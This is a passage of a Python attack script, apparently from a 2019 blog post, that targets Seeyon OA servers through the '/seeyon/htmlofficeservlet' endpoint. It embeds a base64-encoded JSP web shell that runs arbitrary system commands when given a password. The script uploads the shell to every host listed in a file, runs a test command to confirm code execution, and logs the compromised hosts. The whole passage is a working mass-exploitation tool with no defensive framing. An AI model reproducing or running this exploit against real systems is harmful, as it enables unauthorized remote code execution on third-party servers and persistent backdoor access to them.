    payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U="

    payload = base64.b64decode(payload)

    try:

        r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload)

        r = requests.get(
            url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming')

        if "wangming" in r.text:

            return url

        else:

            return 0

    except:

        return 0

def remove_control_chars(s):
    control_chars = ''.join(map(chr, list(range(0,32)) + list(range(127,160))))

    control_char_re = re.compile('[%s]' % re.escape(control_chars))

    s = control_char_re.sub('', s)

    if 'http' not in s:

        s = 'http://' + s

    return s

def savePeopleInformation(url, queue):

    newurl = send_payload(url)

    if newurl != 0:

        fw = open('loophole.txt', 'a')
        fw.write(newurl + '\n')
        fw.close()

    queue.put(url)

def main():

    pool = Pool(10)

    queue = Manager().Queue()

    fr = open('url.txt', 'r')

    lines = fr.readlines()

    for i in lines:

        url = remove_control_chars(i)

        pool.apply_async(savePeopleInformation, args=(url, queue,))

    allnum = len(lines)

    num = 0

    while True:

        print(queue.get())

        num += 1

        if num >= allnum:

            fr.close()

            break

if "__main__" == __name__:

    main()

admin 发布于  2019-6-27 20:19